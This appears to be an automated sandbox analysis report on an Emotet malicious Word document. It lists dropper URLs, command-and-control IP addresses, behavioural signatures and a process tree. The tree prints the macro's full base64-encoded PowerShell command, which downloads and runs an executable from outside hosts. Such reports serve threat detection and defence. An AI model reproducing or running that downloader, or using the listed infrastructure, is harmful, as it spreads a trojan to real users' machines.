Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    19/08/2020, 17:42

General

  • Target
    emotet_e3_676fc0bbe23b4bde0f682cebd5b0e3317e1253b7b7e187fb4db080a0e76384a8_2020-08-19__174053._doc.doc
  • Size 192KB
  • Sample200819-5mc9grcans
  • SHA256 676fc0bbe23b4bde0f682cebd5b0e3317e1253b7b7e187fb4db080a0e76384a8
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://cabanashuasca.com/sys-cache/qkmAGt/

  • exe.dropper

    http://serviceforlongi.com/wp-admin/1zn0p6648274/

  • exe.dropper

    https://brightmega.com/cache/tAhJ/

  • exe.dropper

    http://cabral.adv.br/css/wsF/

  • exe.dropper

    http://www.duhallow.com/wp-content/yvu1atyip7814/

  • exe.dropper

    http://www.emmashop.sk/sitemap/f00nsf09254466/

  • exe.dropper

    http://flabbergast.dk/blogs/jdu6dq57246773/

Extracted

Family
  • emotet

C2
  • 112.78.142.170:80

  • 178.128.14.92:8080

  • 178.238.232.46:443

  • 185.142.236.163:443

  • 192.210.217.94:8080

  • 192.241.220.183:8080

  • 105.209.235.113:8080

  • 182.187.139.200:8080

  • 188.0.135.237:80

  • 201.213.177.139:80

  • 31.146.61.34:80

  • 202.5.47.71:80

  • 81.17.93.134:80

  • 192.163.221.191:8080

  • 97.104.107.190:80

  • 201.235.10.215:80

  • 181.114.114.203:80

  • 51.38.201.19:7080

  • 46.32.229.152:8080

  • 177.144.130.105:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 5 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_676fc0bbe23b4bde0f682cebd5b0e3317e1253b7b7e187fb4db080a0e76384a8_2020-08-19__174053._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3908
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABFAHIAcgAyADIAMwBrAD0AKAAnAEIAJwArACcANAAwADgAbAAnACsAJwBuADkAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQAZQBuAFYAOgB0AEUAbQBwAFwAbwBGAGYASQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAFUAYABSAEkAYABUAFkAUAByAE8AVABgAE8AYwBPAGwAIgAgAD0AIAAoACcAdABsAHMAMQAnACsAJwAyACcAKwAnACwAIAB0ACcAKwAnAGwAJwArACcAcwAxADEALAAgAHQAJwArACcAbABzACcAKQA7ACQARwA3AHAAegBrAHQAZgAgAD0AIAAoACcAUAB6ADYAawBjACcAKwAnADAAJwApADsAJABXAGkAMAAxAHgANwBrAD0AKAAnAFoAaQBoAHAAagAzACcAKwAnAHYAJwApADsAJABNAHAAYgB2AGQAdAByAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB1AGcAQwBPACcAKwAnAGYAZgBpACcAKwAnAGMAZQAyADAAJwArACcAMQA5ACcAKwAnAHUAZwBDACcAKQAgACAALQBjAHIAZQBwAGwAYQBjAEUAJwB1AGcAQwAnACwAWwBjAGgAYQByAF0AOQAyACkAKwAkAEcANwBwAHoAawB0AGYAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFMAZgB5AHQAbAB2AHYAPQAoACcAVwAwAGgAJwArACcAZAB2ACcAKwAnAHoANwAnACkAOwAkAE0AOABhAGwAegBkAHUAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4ARQBUAC4AVwBFAGIAYwBsAEkAZQBuAHQAOwAkAEsAegA3ADAAcwBsAF8APQAoACcAaAB0AHQAJwArACcAcAAnACsAJwA6AC8ALwBjAGEAYgAnACsAJwBhAG4AJwArACcAYQBzAGgAdQBhAHMAYwAnACsAJwBhAC4AJwArACcAYwBvAG0ALwBzAHkAJwArACcAcwAtAGMAJwArACcAYQAnACsAJwBjAGgAZQAvAHEAawBtAEEARwB0AC8AJwArACcAKgBoAHQAdABwADoALwAvAHMAZQByACcAKwAnAHYAaQBjAGUAZgBvAHIAbABvAG4AZwBpACcAKwAnAC4AYwAnACsAJwBvAG0ALwB3AHAAJwArACcALQBhAGQAbQBpAG4ALwAnACsAJwAxAHoAbgAwAHAANgA2ACcAKwAnADQAOAAyADcAJwArACcANAAvACoAaAAnACsAJwB0AHQAcAAnACsAJwBzADoAJwArACcALwAvAGIAJwArACcAcgBpACcAKwAnAGcAaAB0AG0AZQBnAGEALgBjAG8AbQAvAGMAYQAnACsAJwBjAGgAZQAvAHQAQQBoACcAKwAnAEoALwAqAGgAdAB0AHAAOgAnACsAJwAvACcAKwAnAC8AYwAnACsAJwBhAGIAcgBhAGwAJwArACcALgBhAGQAJwArACcAdgAuAGIAcgAvAGMAcwBzAC8AdwBzAEYALwAqAGgAdAAnACsAJwB0AHAAOgAvAC8AdwB3AHcALgBkAHUAaAAnACsAJwBhAGwAbAAnACsAJwBvAHcAJwArACcALgBjAG8AbQAvAHcAJwArACcAcAAtAGMAbwAnACsAJwBuACcAKwAnAHQAZQBuAHQALwB5AHYAJwArACcAdQAxAGEAdAAnACsAJwB5ACcAKwAnAGkAcAA3ADgAMQA0AC8AKgBoACcAKwAnAHQAdABwADoALwAvAHcAdwB3AC4AZQBtAG0AJwArACcAYQBzAGgAbwBwAC4AJwArACcAcwBrACcAKwAnAC8AcwBpAHQAZQBtAGEAcAAvAGYAMAAwAG4AJwArACcAcwBmADAAOQAyACcAKwAnADUANAA0ADYANgAvACoAJwArACcAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8ALwAnACsAJwBmAGwAYQAnACsAJwBiAGIAZQByAGcAJwArACcAYQAnACsAJwBzACcAKwAnAHQAJwArACcALgBkACcAKwAnAGsAJwArACcALwBiAGwAJwArACcAbwBnAHMALwBqACcAKwAnAGQAdQA2AGQAcQA1ADcAMgA0ADYAJwArACcANwAnACsAJwA3ADMALwAnACkALgAiAHMAUABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgBlAHcAdAA0AGMAeAA9ACgAJwBVADEAJwArACcAMAB6AGUAOQAnACsAJwB5ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE4AbgB3AHcAMgBqAGwAIABpAG4AIAAkAEsAegA3ADAAcwBsAF8AKQB7AHQAcgB5AHsAJABNADgAYQBsAHoAZAB1AC4AIgBkAE8AdwBuAEwAYABvAGEAZABgAEYASQBMAEUAIgAoACQATgBuAHcAdwAyAGoAbAAsACAAJABNAHAAYgB2AGQAdAByACkAOwAkAEEAZgBmAGUAcABwAGIAPQAoACcAUQBuADYAeQAnACsAJwB6AGcAcwAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQATQBwAGIAdgBkAHQAcgApAC4AIgBsAEUAYABOAGcAVABoACIAIAAtAGcAZQAgADIANgAxADgAMAApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACgAJABNAHAAYgB2AGQAdAByACkAOwAkAFcAaABmAGcAYgAzAHgAPQAoACcARQAyAHcAdwAnACsAJwA3ACcAKwAnAHMAOQAnACkAOwBiAHIAZQBhAGsAOwAkAFQAYwBxAHQAMgA5ADQAPQAoACcASAA3AHAAaABfACcAKwAnADUAdgAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAbQBqADIAdABrAF8APQAoACcATgAnACsAJwB4AGoAeQAnACsAJwBxAHoAMgAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2292
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Pz6kc0.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Pz6kc0.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1016
      • C:\Windows\SysWOW64\authfwcfg\diskperf.exe
        "C:\Windows\SysWOW64\authfwcfg\diskperf.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3484
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1016 -s 428
        3⤵
        • Program crash
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3732

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1016-15-0x0000000000700000-0x000000000070C000-memory.dmp

        memory/2292-11-0x000001EEF13F0000-0x000001EEF13F1000-memory.dmp

        memory/2292-10-0x000001EEF1240000-0x000001EEF1241000-memory.dmp

        memory/2292-9-0x00007FF9BAE40000-0x00007FF9BB82C000-memory.dmp

        memory/3484-18-0x00000000005B0000-0x00000000005BC000-memory.dmp

        memory/3732-19-0x0000000004950000-0x0000000004951000-memory.dmp

        memory/3732-20-0x0000000004950000-0x0000000004951000-memory.dmp

        memory/3732-23-0x0000000005180000-0x0000000005181000-memory.dmp

        memory/3908-0-0x00007FF9C25C0000-0x00007FF9C2C86000-memory.dmp